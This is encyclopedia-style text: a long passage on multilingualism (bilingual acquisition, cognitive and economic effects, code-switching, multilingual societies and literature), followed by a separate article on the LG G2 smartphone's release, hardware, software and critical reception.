People who learn multiple languages may also experience positive transfer – the process by which it becomes easier to learn additional languages if the grammar or vocabulary of the new language is similar to those of the languages already spoken. On the other hand, students may also experience negative transfer – interference from languages learned at an earlier stage of development while learning a new language later in life.
Receptive bilingualism
Receptive bilinguals are those who can understand a second language but who cannot speak it or whose abilities to speak it are inhibited by psychological barriers. Receptive bilingualism is frequently encountered among adult immigrants to the U.S. who do not speak English as a native language but who have children who do speak English natively, usually in part because those children's education has been conducted in English; while the immigrant parents can understand both their native language and English, they speak only their native language to their children. If their children are likewise receptively bilingual but productively English-monolingual, throughout the conversation the parents will speak their native language and the children will speak English. If their children are productively bilingual, however, those children may answer in the parents' native language, in English, or in a combination of both languages, varying their choice of language depending on factors such as the communication's content, context, and/or emotional intensity and the presence or absence of third-party speakers of one language or the other. The third alternative represents the phenomenon of "code-switching" in which the productively bilingual party to a communication switches languages in the course of that communication. Receptively bilingual persons, especially children, may rapidly achieve oral fluency by spending extended time in situations where they are required to speak the language that they theretofore understood only passively. Until both generations achieve oral fluency, not all definitions of bilingualism accurately characterize the family as a whole, but the linguistic differences between the family's generations often constitute little or no impairment to the family's functionality. Receptive bilingualism in one language as exhibited by a speaker of another language, or even as exhibited by most speakers of that language, is not the same as mutual intelligibility of languages; the latter is a property of a pair of languages, namely a consequence of objectively high lexical and grammatical similarities between the languages themselves (e.g., Norwegian and Swedish), whereas the former is a property of one or more persons and is determined by subjective or intersubjective factors such as the respective languages' prevalence in the life history (including family upbringing, educational setting, and ambient culture) of the person or persons.
Order of acquisition
In sequential bilingualism, learners receive literacy instruction in their native language until they acquire a "threshold" literacy proficiency. Some researchers use age three as the age when a child has basic communicative competence in their first language (Kessler, 1984). Children may go through a process of sequential acquisition if they migrate at a young age to a country where a different language is spoken, or if the child exclusively speaks his or her heritage language at home until he/she is immersed in a school setting where instruction is offered in a different language.
In simultaneous bilingualism, the native language and the community language are simultaneously taught. The advantage is literacy in two languages as the outcome. However, the teacher must be well-versed in both languages and also in techniques for teaching a second language.
The phases children go through during sequential acquisition are less linear than for simultaneous acquisition and can vary greatly among children. Sequential acquisition is a more complex and lengthier process, although there is no indication that non-language-delayed children end up less proficient than simultaneous bilinguals, so long as they receive adequate input in both languages.
A coordinate model posits that equal time should be spent in separate instruction of the native language and the community language. The native language class, however, focuses on basic literacy while the community language class focuses on listening and speaking skills. Being bilingual does not necessarily mean that one can speak, for example, English and French.
Outcomes
Research has found that the development of competence in the native language serves as a foundation of proficiency that can be transposed to the second language – the common underlying proficiency hypothesis. Cummins' work sought to overcome the perception propagated in the 1960s that learning two languages made for two competing aims. The belief was that the two languages were mutually exclusive and that learning a second required unlearning elements and dynamics of the first to accommodate the second. The evidence for this perspective relied on the fact that some errors in acquiring the second language were related to the rules of the first language. How this hypothesis holds under different types of languages such as Romance versus non-Western languages has yet to undergo research.
Another new development that has influenced the linguistic argument for bilingual literacy is the length of time necessary to acquire the second language. While previously children were believed to have the ability to learn a language within a year, today researchers believe that within and across academic settings, the period is nearer to five years.
An interesting outcome of studies during the early 1990s, however, confirmed that students who do complete bilingual instruction perform better academically. These students exhibit more cognitive elasticity including a better ability to analyze abstract visual patterns. Students who receive bidirectional bilingual instruction where equal proficiency in both languages is required perform at an even higher level. Examples of such programs include international and multi-national education schools.
In individuals
A multilingual person is someone who can communicate in more than one language actively (through speaking, writing, or signing). Multilingual people can speak any language they write in, but cannot necessarily write in any language they speak. More specifically, bilingual and trilingual people are those in comparable situations involving two or three languages, respectively. A multilingual person is generally referred to as a polyglot, a term that may also refer to people who learn multiple languages as a hobby.
Multilingual speakers have acquired and maintained at least one language during childhood, the so-called first language (L1). The first language (sometimes also referred to as the mother tongue) is acquired without formal education, by mechanisms heavily disputed. Children acquiring two languages in this way are called simultaneous bilinguals. Even in the case of simultaneous bilinguals, one language usually dominates over the other.
In linguistics, first language acquisition is closely related to the concept of a "native speaker". According to a view widely held by linguists, a native speaker of a given language has in some respects a level of skill which a second (or subsequent) language learner cannot easily accomplish. Consequently, descriptive empirical studies of languages are usually carried out using only native speakers. This view is, however, slightly problematic, particularly as many non-native speakers demonstrably not only successfully engage with and in their non-native language societies, but in fact may become culturally and even linguistically important contributors (as, for example, writers, politicians, media personalities and performing artists) in their non-native language. In recent years, linguistic research has focused attention on the use of widely known world languages, such as English, as a lingua franca or a shared common language of professional and commercial communities. In lingua franca situations, most speakers of the common language are functionally multilingual.
The reverse phenomenon, where people who know more than one language end up losing command of some or all of their additional languages, is called language attrition. It has been documented that, under certain conditions, individuals may lose their L1 language proficiency completely, after switching to the exclusive use of another language, and effectively "become native" in a language that was once secondary after the L1 undergoes total attrition.
This is most commonly seen among immigrant communities and has been the subject of substantial academic study. The most important factor in spontaneous, total L1 loss appears to be age; in the absence of neurological dysfunction or injury, only young children typically are at risk of forgetting their native language and switching to a new one. Once they pass an age that seems to correlate closely with the critical period, around the age of 12, total loss of a native language is not typical, although it is still possible for speakers to experience diminished expressive capacity if the language is never practiced.
Cognitive ability
People who use more than one language have been reported to be more adept at language learning compared to monolinguals. Individuals who are highly proficient in two or more languages have been reported to have enhanced executive function or even have reduced-risk for dementia. More recently, however, this claim has come under strong criticism with repeated failures to replicate. One possible reason for this discrepancy is that bilingualism is rich and diverse; bilingualism can take different forms according to the context and geographic location in which it is studied.
Yet, many prior studies do not reliably quantify samples of bilinguals under investigation. An emerging perspective is that studies on bilingual and multilingual cognitive abilities need to account for validated and granular quantifications of language experience in order to identify boundary conditions of possible cognitive effects.
Economic benefits
Bilinguals might have important labor market advantages over monolingual individuals as bilingual people can carry out duties that monolinguals cannot, such as interacting with customers who only speak a minority language. A study in Switzerland has found that multilingualism is positively correlated with an individual's salary, the productivity of firms, and the gross domestic production (GDP); the authors state that Switzerland's GDP is augmented by 10% by multilingualism. A study in the United States by Agirdag found that bilingualism has substantial economic benefits as bilingual persons were found to have around $3,000 per year more salary than monolinguals.
Psychology
A study in 2012 has shown that using a foreign language reduces decision-making biases. It was surmised that the framing effect disappeared when choices are presented in a second language. As human reasoning is shaped by two distinct modes of thought: one that is systematic, analytical and cognition-intensive, and another that is fast, unconscious and emotionally charged, it was believed that a second language provides a useful cognitive distance from automatic processes, promoting analytical thought and reducing unthinking, emotional reaction. Therefore, those who speak two languages have better critical thinking and decision making skills. A study published a year later found that switching into a second language seems to exempt bilinguals from the social norms and constraints such as political correctness. In 2014, another study has shown that people using a foreign language are more likely to make utilitarian decisions when faced with a moral dilemma, as in the trolley problem. The utilitarian option was chosen more often in the fat man case when presented in a foreign language. However, there was no difference in the switch track case. It was surmised that a foreign language lacks the emotional impact of one's native language.
Personality
Because it is difficult or impossible to master many of the high-level semantic aspects of a language (including but not limited to its idioms and eponyms) without first understanding the culture and history of the region in which that language evolved, as a practical matter an in-depth familiarity with multiple cultures is a prerequisite for high-level multilingualism. This knowledge of cultures individually and comparatively, or indeed the mere fact of one's having that knowledge, often forms an important part of both what one considers one's identity to be and what others consider that identity to be. Some studies have found that groups of multilingual individuals get higher average scores on tests for certain personality traits such as cultural empathy, open-mindedness and social initiative. The idea of linguistic relativity, which claims that the language people speak influences the way they see the world, can be interpreted to mean that individuals who speak multiple languages have a broader, more diverse view of the world, even when speaking only one language at a time. Some bilinguals feel that their personality changes depending on which language they are speaking; thus multilingualism is said to create multiple personalities. Xiao-lei Wang states in her book Growing up with Three Languages: Birth to Eleven: "Languages used by speakers with one or more than one language are used not just to represent a unitary self, but to enact different kinds of selves, and different linguistic contexts create different kinds of self-expression and experiences for the same person." However, there has been little rigorous research done on this topic and it is difficult to define "personality" in this context. François Grosjean wrote: "What is seen as a change in personality is most probably simply a shift in attitudes and behaviors that correspond to a shift in situation or context, independent of language." However, the Sapir-Whorf hypothesis, which states that a language shapes our vision of the world, may suggest that a language learned by a grown-up may have much fewer emotional connotations and therefore allow a more serene discussion than a language learned by a child and to that respect more or less bound to a child's perception of the world. A 2013 study found that rather than an emotion-based explanation, switching into the second language seems to exempt bilinguals from the social norms and constraints such as political correctness.
Hyperpolyglots
While many polyglots know up to six languages, the number drops off sharply past this point. People who speak many more than this—Michael Erard suggests eleven or more—are sometimes classed as hyperpolyglots. Giuseppe Caspar Mezzofanti, for example, was an Italian priest reputed to have spoken anywhere from 30 to 72 languages. The causes of advanced language aptitude are still under research; one theory suggests that a spike in a baby's testosterone levels while in the uterus can increase brain asymmetry, which may relate to music and language ability, among other effects.
While the term "savant" generally refers to an individual with a natural and/or innate talent for a particular field, people diagnosed with savant syndrome are typically individuals with significant mental disabilities who demonstrate profound and prodigious capacities and/or abilities far in excess of what would be considered normal, occasionally including the capacity for languages. The condition is associated with an increased memory capacity, which would aid in the storage and retrieval of knowledge of a language. In 1991, for example, Neil Smith and Ianthi-Maria Tsimpli described Christopher, a man with non-verbal IQ scores between 40 and 70, who learned sixteen languages. Christopher was born in 1962 and approximately six months after his birth was diagnosed with brain damage. Despite being institutionalized because he was unable to take care of himself, Christopher had a verbal IQ of 89, was able to speak English with no impairment, and could learn subsequent languages with apparent ease. This facility with language and communication is considered unusual among savants.
Terms
monolingual, monoglot - 1 language spoken
bilingual, diglot - 2 languages spoken
trilingual, triglot - 3 languages spoken
quadrilingual, tetraglot - 4 languages spoken
quinquelingual, pentaglot - 5 languages spoken
sexalingual, hexaglot - 6 languages spoken
septilingual or septalingual, heptaglot - 7 languages spoken
octolingual or octalingual, octoglot - 8 languages spoken
novelingual or nonalingual, enneaglot - 9 languages spoken
decalingual, decaglot - 10 languages spoken
undecalingual, hendecaglot - 11 languages spoken
duodecalingual, dodecaglot - 12 languages spoken
It is important to note that terms past trilingual are rarely used. People who speak four or more languages are generally just referred to as multilingual.
Neuroscience
In communities
Widespread multilingualism is one form of language contact. Multilingualism was common in the past: in early times, when most people were members of small language communities, it was necessary to know two or more languages for trade or any other dealings outside one's town or village, and this holds good today in places of high linguistic diversity such as Sub-Saharan Africa and India. Linguist Ekkehard Wolff estimates that 50% of the population of Africa is multilingual.
In multilingual societies, not all speakers need to be multilingual. Some states can have multilingual policies and recognize several official languages, such as Canada (English and French). In some states, particular languages may be associated with particular regions in the state (e.g., Canada) or with particular ethnicities (e.g., Malaysia and Singapore). When all speakers are multilingual, linguists classify the community according to the functional distribution of the languages involved:
Diglossia: if there is a structural-functional distribution of the languages involved, the society is termed 'diglossic'. Typical diglossic areas are those areas in Europe where a regional language is used in informal, usually oral, contexts, while the state language is used in more formal situations. Frisia (with Frisian and German or Dutch) and Lusatia (with Sorbian and German) are well-known examples. Some writers limit diglossia to situations where the languages are closely related and could be considered dialects of each other. This can also be observed in Scotland where, in formal situations, English is used. However, in informal situations in many areas, Scots is the preferred language of choice. A similar phenomenon is also observed in Arabic-speaking regions. The effects of diglossia could be seen in the difference between written Arabic (Modern Standard Arabic) and colloquial Arabic. However, as time goes, the Arabic language somewhere between the two has been created what some have deemed "Middle Arabic" or "Common Arabic". Because of this diversification of the language, the concept of spectroglossia has been suggested.
Ambilingualism: a region is called ambilingual if this functional distribution is not observed. In a typical ambilingual area it is nearly impossible to predict which language will be used in a given setting. True ambilingualism is rare. Ambilingual tendencies can be found in small states with multiple heritages like Luxembourg, which has a combined Franco-Germanic heritage, or Malaysia and Singapore, which fuses the cultures of Malays, China, and India or communities with high rates of deafness like Martha's Vineyard where historically most inhabitants spoke both MVSL and English or in southern Israel where locals speak both Al-Sayyid Bedouin Sign Language and either Arabic or Hebrew. Ambilingualism also can manifest in specific regions of larger states that have both a dominant state language (be it de jure or de facto) and a protected minority language that is limited in terms of the distribution of speakers within the country. This tendency is especially pronounced when, even though the local language is widely spoken, there is a reasonable assumption that all citizens speak the predominant state tongue (e.g., English in Quebec vs. Canada; Spanish in Catalonia vs. Spain). This phenomenon can also occur in border regions with many cross-border contacts.
Bipart-lingualism: if more than one language can be heard in a small area, but the large majority of speakers are monolinguals, who have little contact with speakers from neighboring ethnic groups, an area is called 'bipart-lingual'. An example of this is the Balkans.
N.B. the terms given above all refer to situations describing only two languages. In cases of an unspecified number of languages, the terms polyglossia, omnilingualism, and multipart-lingualism are more appropriate.
Interaction between speakers of different languages
Whenever two people meet, negotiations take place. If they want to express solidarity and sympathy, they tend to seek common features in their behavior. If speakers wish to express distance towards or even dislike of the person they are speaking to, the reverse is true, and differences are sought. This mechanism also extends to language, as described in the Communication Accommodation Theory.
Some multilinguals use code-switching, which involves swapping between languages. In many cases, code-switching is motivated by the wish to express loyalty to more than one cultural group, as holds for many immigrant communities in the New World. Code-switching may also function as a strategy where proficiency is lacking. Such strategies are common if the vocabulary of one of the languages is not very elaborated for certain fields, or if the speakers have not developed proficiency in certain lexical domains, as in the case of immigrant languages.
This code-switching appears in many forms. If a speaker has a positive attitude towards both languages and towards code-switching, many switches can be found, even within the same sentence. If however, the speaker is reluctant to use code-switching, as in the case of a lack of proficiency, he might knowingly or unknowingly try to camouflage his attempt by converting elements of one language into elements of the other language through calquing. This results in speakers using words like courrier noir (literally mail that is black) in French, instead of the proper word for blackmail, chantage.
Sometimes a pidgin language may develop. A pidgin language is a fusion of two languages that is mutually understandable for both speakers. Some pidgin languages develop into real languages (such as Papiamento in Curaçao or Singlish in Singapore) while others remain as slangs or jargons (such as Helsinki slang, which is more or less mutually intelligible both in Finnish and Swedish). In other cases, prolonged influence of languages on each other may have the effect of changing one or both to the point where it may be considered that a new language is born. For example, many linguists believe that the Occitan language and the Catalan language were formed because of a population speaking a single Occitano-Romance language was divided into political spheres of influence of France and Spain, respectively. Yiddish is a complex blend of Middle High German with Hebrew and borrowings from Slavic languages.
Bilingual interaction can even take place without the speaker switching. In certain areas, it is not uncommon for speakers to use a different language within the same conversation. This phenomenon is found, amongst other places, in Scandinavia. Most speakers of Swedish, Norwegian and Danish can communicate with each other speaking their respective languages, while few can speak both (people used to these situations often adjust their language, avoiding words that are not found in the other language or that can be misunderstood). Using different languages is usually called non-convergent discourse, a term introduced by the Dutch linguist Reitze Jonkman. To a certain extent, this situation also exists between Dutch and Afrikaans, although everyday contact is fairly rare because of the distance between the two respective communities. Another example is the former state of Czechoslovakia, where two closely related and mutually intelligible languages (Czech and Slovak) were in common use. Most Czechs and Slovaks understand both languages, although they would use only one of them (their respective mother tongue) when speaking. For example, in Czechoslovakia, it was common to hear two people talking on television each speaking a different language without any difficulty understanding each other. This bilinguality still exists nowadays, although it has started to deteriorate after Czechoslovakia split up.
Computing
With emerging markets and expanding international cooperation, business users expect to be able to use software and applications in their own language. Multilingualisation (or "m17n", where "17" stands for 17 omitted letters) of computer systems can be considered part of a continuum between internationalization and localization:
A localized system has been adapted or converted for a particular locale (other than the one it was originally developed for), including the language of the user interface, input, and display, and features such as time/date display and currency; but each instance of the system only supports a single locale.
Multilingualised software supports multiple languages for display and input simultaneously, but generally has a single user interface language. Support for other locale features like time, date, number and currency formats may vary as the system tends towards full internationalization. Generally, a multilingual system is intended for use in a specific locale, whilst allowing for multilingual content.
An internationalized system is equipped for use in a range of locales, allowing for the co-existence of several languages and character sets in user interfaces and displays. In particular, a system may not be considered internationalized in the fullest sense unless the interface language is selectable by the user at runtime.
Translating the user interface is usually part of the software localization process, which also includes adaptations such as units and date conversion. Many software applications are available in several languages, ranging from a handful (the most spoken languages) to dozens for the most popular applications (such as office suites, web browsers, etc.). Due to the status of English in computing, software development nearly always uses it (but see also Non-English-based programming languages), so almost all commercial software is initially available in an English version, and multilingual versions, if any, may be produced as alternative options based on the English original.
The Multilingual App Toolkit (MAT) was first released in concert with the release of Windows 8 as a way to provide developers a set of free tooling that enabled adding languages to their apps with just a few clicks, in large part due to the integration of a free, unlimited license to both the Microsoft Translator machine translation service and the Microsoft Language Platform service, along with platform extensibility to enable anyone to add translation services into MAT. Microsoft engineers and inventors of MAT, Jan A. Nelson, and Camerum Lerum have continued to drive development of the tools, working with third parties and standards bodies to assure broad availability of multilingual app development is provided. With the release of Windows 10, MAT is now delivering support for cross-platform development for Windows Universal Apps as well as IOS and Android.
Internet
English-speaking countries
According to Hewitt (2008) entrepreneurs in London from Poland, China or Turkey use English mainly for communication with customers, suppliers, and banks, but their native languages for work tasks and social purposes.
Even in English-speaking countries immigrants are still able to use their mother tongue in the workplace thanks to other immigrants from the same place. Kovacs (2004) describes this phenomenon in Australia with Finnish immigrants in the construction industry who spoke Finnish during working hours.
But even though foreign languages may be used in the workplace, English is still a must-know working skill. Mainstream society justifies the divided job market, arguing that getting a low-paying job is the best newcomers can achieve considering their limited language skills.
Asia
With companies going international they are now focusing more and more on the English level of their employees. Especially in South Korea since the 1990s, companies are using different English language testing to evaluate job applicants, and the criteria in those tests are constantly upgrading the level for good English. In India, it is even possible to receive training to acquire an English accent, as the number of outsourced call centers in India has soared in the past decades.
Meanwhile, Japan ranks 53rd out of 100 countries in 2019 EF English Proficiency Index, amid calls for this to improve in time for the 2020 Tokyo Olympics.
Within multiracial countries such as Malaysia and Singapore, it is not unusual for one to speak two or more languages, albeit with varying degrees of fluency. Some are proficient in several Chinese dialects, given the linguistic diversity of the ethnic Chinese community in both countries.
Africa
Not only in multinational companies is English an important skill, but also in the engineering industry, in the chemical, electrical and aeronautical fields. A study directed by Hill and van Zyl (2002) shows that in South Africa young black engineers used English most often for communication and documentation. However, Afrikaans and other local languages were also used to explain particular concepts to workers in order to ensure understanding and cooperation.
Europe
In Europe, as the domestic market is generally quite restricted, international trade is a norm. Languages, that are used in multiple countries, include:
German in Germany, Austria, Switzerland, Liechtenstein, Luxembourg, and Belgium
French in France, Belgium, Luxembourg, Monaco, Andorra and Switzerland
English in the United Kingdom, Ireland, and Malta.
English is a commonly taught second language at schools, so it is also the most common choice for two speakers, whose native languages are different. However, some languages are so close to each other that it is generally more common when meeting to use their mother tongue rather than English. These language groups include:
Danish, Swedish and Norwegian
Serbian, Croatian, Bosnian and Montenegrin: during Yugoslavian times, these were considered to be various dialects of a common, Serbo-Croatian language. After the Yugoslavian breakup, each state created its official language from their dialect. For example, there is almost no difference between Serbian and Croatian in spoken form. In written form, Serbs use both Cyrillic and Latin, while Croats use only Latin.
Czech and Slovak: During Czechoslovak times, these were considered to be two different dialects of a common Czechoslovak language.
In multilingual countries such as Belgium (Dutch, French, and German), Finland (Finnish and Swedish), Switzerland (German, French, Italian and Romansh), Luxembourg (Luxembourgish, French and German) or Spain (Spanish, Catalan, Basque and Galician), it is common to see employees mastering two or even three of those languages.
Many minor Russian ethnic groups, such as Tatars, Bashkirs and others, are also multilingual. Moreover, with the beginning of compulsory study of the Tatar language in Tatarstan, there has been an increase in its level of knowledge of the Russian-speaking population of the republic.
Continued global diversity has led to an increasingly multilingual workforce. Europe has become an excellent model to observe this newly diversified labor culture. The expansion of the European Union with its open labor market has provided opportunities both for well-trained professionals and unskilled workers to move to new countries to seek employment. Political changes and turmoil have also led to migration and the creation of new and more complex multilingual workplaces. In most wealthy and secure countries, immigrants are found mostly in low paid jobs but also, increasingly, in high-status positions.
Music
It is extremely common for music to be written in whatever the contemporary lingua franca is. If a song is not written in a common tongue, then it is usually written in whatever is the predominant language in the musician's country of origin, or in another widely recognized language, such as English, German, Spanish, or French.
The bilingual song cycles "there..." and "Sing, Poetry" on the 2011 contemporary classical album Troika consist of musical settings of Russian poems with their English self-translation by Joseph Brodsky and Vladimir Nabokov, respectively.
Songs with lyrics in multiple languages are known as macaronic verse.
Literature
Fiction
Multilingual stories, essays, and novels are often written by immigrants and second generation American authors. Chicana author Gloria E. Anzaldúa, a major figure in the fields Third World Feminism, Postcolonial Feminism, and Latino philosophy explained the author's existential sense of obligation to write multilingual literature. An often quoted passage, from her collection of stories and essays entitled Borderlands/La Frontera: The New Mestiza, states:"Until I am free to write bilingually and to switch codes without having always to translate, while I still have to speak English or Spanish when I would rather speak Spanglish, and as long as I have to accommodate the English speakers rather than having them accommodate me, my tongue will be illegitimate. I will no longer be made to feel ashamed of existing. I will have my voice: Indian, Spanish, white. I will have my serpent’s tongue – my woman’s voice, my sexual voice, my poet’s voice. I will overcome the tradition of silence".Multilingual novels by Nigerian Chimamanda Ngozi Adichie display phrases in Igbo with translations, as in her early works Purple Hibiscus and Half of a Yellow Sun. However, in her later novel Americanah, the author does not offer translations of non-English passages. The House on Mango Street by Sandra Cisneros is an example of Chicano literature has untranslated, but italicized, Spanish words and phrases throughout the text.
American novelists who use foreign languages (outside of their own cultural heritage) for literary effect, include Cormac McCarthy who uses untranslated Spanish and Spanglish in his fiction.
Poetry
Multilingual poetry is prevalent in US Latino literature where code-switching and translanguaging between English, Spanish, and Spanglish is common within a single poem or throughout a book of poems. Latino poetry is also written in Portuguese and can include phrases in Nahuatl, Mayan, Huichol, Arawakan, and other indigenous languages related to the Latino experience. Contemporary multilingual poets include Giannina Braschi, Ana Castillo, Sandra Cisneros, and Guillermo Gómez-Peña
See also
Cultural diversity
List of multilingual countries and regions
List of multilingual bands and artists
List of multilingual presidents of the United States
Plurilingualism
Code-switching
Interlinguistics
Translanguaging
Linguistic rights
Metatypy
Multi-competence
Mutism
Neuroscience of multilingualism
Nonverbal autism
One person, one language
Policies and proposals
European Commissioner for Multilingualism
European Day of Languages
English-only movement
Language legislation in Belgium
Languages of Finland
Languages of the European Union
Multilingualism in Luxembourg
Official bilingualism in Canada
Education
International Journal of Bilingualism
Language education
Multilingual Education
Multilingual education in Africa
Other
Bilingual sign
Childhood Bilingualism Research Centre (in Hong Kong)
Economics of language
Linguapax Prize
List of artworks known in English by a foreign title
Spanish language in the United States
The Multilingual Library
:Category:Multilingual broadcasters
Notes
1. See the Critical period hypothesis.
References
Further reading
Valore, Paulo (2011), Multilingualism. Language, Power, and Knowledge, Edistudio, Pisa, , texts in English and Italian.
Jared Diamond, The World until Yesterday: What Can We Learn from Traditional Societies? (especially chapter ten: "Speaking in many tongues"), Penguin Books, 2012 ().
External links
Language acquisition
Sociology of language
Neurolinguistics
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https://en.wikipedia.org/wiki/LG%20G2
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LG G2
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The LG G2 is an Android smartphone developed by LG Electronics. Serving as a successor to 2012's Optimus G and the 2013 Optimus G Pro phablet, the G2 was unveiled at a press event in New York City on 7 August 2013, and first released in September 2013. The G2 is primarily distinguished by software features that LG billed would "learn" from users, a high fidelity sound system designed to produce higher quality audio, a 1080p IPS LCD screen with technology that the company claimed would improve energy efficiency and reduce the size of the bezel around it, along with the unique placement of its power and volume keys—eschewing their typical location on the edge of a smartphone by placing them on the rear below the camera lens.
The device was released to mostly positive reception; the G2 was universally praised for LG's efforts to produce a more seamless and compact design that nonetheless maximized screen size, its high performance, the quality of its display and primary camera, along with its long-lasting battery. Critics were divided on certain aspects of its design, such as its rear button layout, and its plastic chassis—which was panned for closely resembling recent Samsung Galaxy products and being a regression from the glass-based chassis of the Optimus G. Similarly, while its software and user interface was praised for its usability and large number of customization options, some reviewers felt that the software suffered from feature creep and contained notable usability regressions in comparison to "stock" Android.
Sales of the G2 exceeded LG's estimates; in late-December 2013, a Korean news agency reported that at least 3 million units of the G2 had been sold worldwide.
Release
The G2 was first unveiled during a press event at New York City's Jazz at Lincoln Center on 7 August 2013. LG announced that it would begin to release the G2 globally on over 130 carriers within the next two months, in markets such as South Korea and the United States.
To promote the G2, LG attempted to hold a city-wide scavenger hunt in Seoul, South Korea; during a press event at a local park on 9 August 2013, helium balloons (tying in with its "G in the Cloud" advertising campaign) were released that contained 100 vouchers. After the vouchers were scattered through the city by the deflating balloons, LG planned to give away G2s to those who found the vouchers. While only members of the media were formally invited, the event was disrupted by members of the public who learned about the promotion on the internet. As the balloons were released, attendees attempted to use BB guns and other makeshift tools to retrieve them. The resulting quarrel which broke out over the balloons resulted in 20 injuries; following the incident, LG apologized and stated that it would pay for the medical treatment of those injured in the event. LG also called off plans to hold similar events in other South Korean cities.
The G2 was first released in the United States by Verizon on 12 September 2013, and released by AT&T the following day. T-Mobile released the G2 on 25 September, while Sprint released theirs on 8 November 2013. The G2 was released in Canada on 27 September 2013, across six national and regional carriers, including Bell, Rogers, SaskTel, Telus, Vidéotron, and Wind Mobile.
Specifications
Hardware
The G2's exterior consists of a polycarbonate shell—unlike its predecessor, which used a glass-based construction. The rear cover is adorned with a subtle pattern resembling carbon fiber. The G2's volume and power keys are located directly below the camera on the rear of the device. The power button contains an LED lamp, which can be used as a notification light. The positioning of the buttons on the rear deviates from the majority of smartphones, where they are located on the bezel (side edge) of the phone. LG argued that buttons located on the bezel were harder to reach on larger smartphones, and made it more likely for users to drop their phone when adjusting the volume during a call. As such, the G2's buttons are instead located where the index finger would normally lie when the phone is held. Alongside the power button, the G2 is also powered on by double-tapping on the screen, and turned off by double-tapping on the status bar or a blank area on the home screen, a feature branded as "KnockOn". When the phone is off, the volume keys can also be used to launch directly into the camera or QuickMemo applications by holding them down.
The G2 is powered by a 2.26GHz quad-core Snapdragon 800 processor with 2GB of RAM and support for LTE or LTE Advanced networks where available. The G2 is equipped with a 5.2-inch 1080p IPS display; to reduce the size of its screen bezel, wiring for touchscreen components is routed both above and below the screen itself. To help conserve battery life, the G2 also implements a panel self-refresh system; if the display is showing static content, it is refreshed solely from framebuffer memory (referred to as "graphics RAM"), allowing other display components (such as the GPU) to become idle. LG claimed that this system would allow the screen to use 26% less power than comparable displays on other smartphones.
The G2's audio hardware and software is optimized to support 24-bit/192 kHz audio; during LG's press event, ringtones recorded by the Vienna Boys' Choir (which are also bundled with the device) were used to demonstrate the high quality audio from its internal speaker. The G2 also includes a 13-megapixel primary rear-facing camera with optical image stabilization, and an infrared emitter which allows it to serve as a universal remote with the accompanying QuickRemote app.
The G2 comes with either 16 or 32GB of non-expandable storage, and includes a non-removable 3000 mAh battery. The Verizon Wireless model of the G2 offers support for Qi wireless charging. Unlike the models released in other countries, South Korean models of the G2 have a removable back cover, a MicroSD card slot for expanded storage, and a removable 2610 mAh battery.
Software
The G2 ships with Android 4.2.2 "Jelly Bean" with a custom interface and software. It contains a number of features that are designed to "learn" from users by predicting future actions, and allow for flexibility and customization. The G2 retains features from previous LG models such as the Optimus G and G Pro, including QuickMemo (which allows users to write notes on top of a screenshot), QuickRemote (a feature which allows the device to serve as a universal remote), QSlide pop-up apps, and Voice Mate. New features introduced by the G2 include TextLink, which analyzes text messages to detect content such as addresses and times that can be passed to other apps (such as the calendar, a note, or Google Maps), a pop-up menu of relevant apps triggered when plugging in headphones or a USB cable (Plug & Pop), the ability to answer a phone call by holding the phone to the user's head (AnswerMe), Slide Aside, a multitasking feature which allows users to "slide" away apps onto cards with a three-finger gesture, the Clip Tray (which collects content that had been copied to the clipboard), and Guest Mode. The G2 uses on-screen buttons; users can change their background color (which includes black and white options, either solid colored or with a gradient), customize the order of the buttons, or add additional buttons for opening QuickMemo or the notification shade. The G2's default music player supports the playback of WAV and FLAC files with 24-bit/192kHz audio.
The time catch shot camera feature prevents missing out on moments by capturing photos while idle and keeping up to five in memory.
An update to Android 4.4.2 "KitKat" was released in South Korea in November 2013, and for international models in March 2014. LG touted a "noticeable speed boost" over Jelly Bean, along with battery life improvements, user interface tweaks, and other improvements brought by KitKat. A further update added a new security feature known as "Knock Code" (as introduced by the LG G Pro 2), which allows users to unlock their device by tapping quadrants of the screen in a sequence.
An update to Android 5.0.1 "Lollipop" was first released in South Korea in January 2015. Alongside other internal improvements, it introduces the refreshed "G UI" first introduced by the LG G3, which itself received improvements to match the new visual style and features of Lollipop, The update was also released for the international model and the U.S. carrier versions, but was not released in Canada.
Model variants
Several different model variants of the G2 are sold, with most variants differing only in support for regional network types and bands. However, the South Korean version features a removable (but smaller) battery and a MicroSD slot, while the U.S. Verizon Wireless version includes Qi wireless charging, but has a noticeably different rear cover design with different designs for the buttons and camera, and replaces the solid black option for the button background with a pink pattern option. In January 2014, in honor of the Chinese New Year, LG released two "limited edition" models of the G2 in selected Asian markets; available in red or gold colors, the limited edition models featured textured casings instead of the glossier plastic used normally by the G2.
Accessories
The QuickWindow case accessory for the G2 was unveiled on 30 July 2013—prior to the unveiling of the phone itself. The QuickWindow case consists of a plastic shell with a polyurethane flip cover. The cover contains a rounded rectangular window that exposes a portion of the display, allowing a number of functions to be accessed without opening the cover, including notifications, a customizable clock, and a music player.
Reception
Pre-release
While complimenting its performance and other unique features, The Verge believed that LG was trying too hard to compete with the Samsung Galaxy S4 by closely imitating its design, specifications, and emphasis on features instead of differentiating itself through further innovations. TechRadar also praised its performance and display quality, but considered the design of the G2 itself to be "dull", and believed that while offering many options for advanced users, LG's skinned version of Android 4.2 was too complex for "casual" users (especially noting its notification pull-down, where roughly half the screen is taken up by options).
Critical reception
The LG G2 was released to mostly positive reception. In December 2013, the British magazine Stuff named the G2 its 2013 Phone of the Year and Gadget of the Year, reporting that "LG has previously struggled to make an impact on the smartphone market, but the LG G2 is as good as smartphones get in 2013, and shows the established names how it should be done."
The G2 was considered by critics to be well-built, but was criticized for replacing the glass-based construction of the Optimus G with a plainer, plastic-based design, drawing comparisons to recent Samsung products. Ars Technica further criticized the Verizon Wireless version for having a cheaper appearance than the international versions, with a plainer rear cover, modified buttons, and a different speaker layout. The G2's rear buttons were met with equally mixed reception, with most reviewers believing that users would be able to adjust themselves to operate them. Accordingly, the ability to wake the phone by tapping on the screen was considered a more convenient method. The G2 was praised for its high-end hardware, with Engadget describing the device as a "beast" with specifications that "seem familiar to anyone who's read a flagship Android phone review in the last 12 months", recognizing that it had become harder for manufacturers to differentiate their flagship products beyond displays and processors. The G2's display was praised for its high resolution and color accuracy, along with LG's efforts to reduce the screen bezel size. The G2 was also praised for having unexpectedly longer battery life than any of its competitors (along with Motorola's Droid Razr Maxx). After lasting about 20 hours of "standard" use in its testing, the G2's battery was considered by Engadget to be "a sign that we're finally crossing into a world of sensible smartphone batteries."
